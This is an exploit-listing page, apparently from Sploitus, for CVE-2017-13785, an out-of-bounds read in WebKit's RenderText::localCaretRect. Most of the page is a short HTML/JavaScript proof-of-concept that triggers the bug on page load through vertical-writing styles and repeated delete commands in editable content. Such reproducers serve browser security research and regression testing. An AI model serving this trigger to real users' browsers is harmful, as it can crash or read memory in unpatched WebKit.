Sploitus

Exploit for WebKit: out-of-bounds read in WebCore::RenderText::localCaretRect

CVE-2017-13785

seebug · 2017-11-23

Exploit Code

MARKDOWN15 lines
## https://sploitus.com/exploit?id=SSV:96887
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
  window.getSelection().setPosition(h,1);
  document.execCommand("delete", false);
  document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I&gt;EO~P</h3>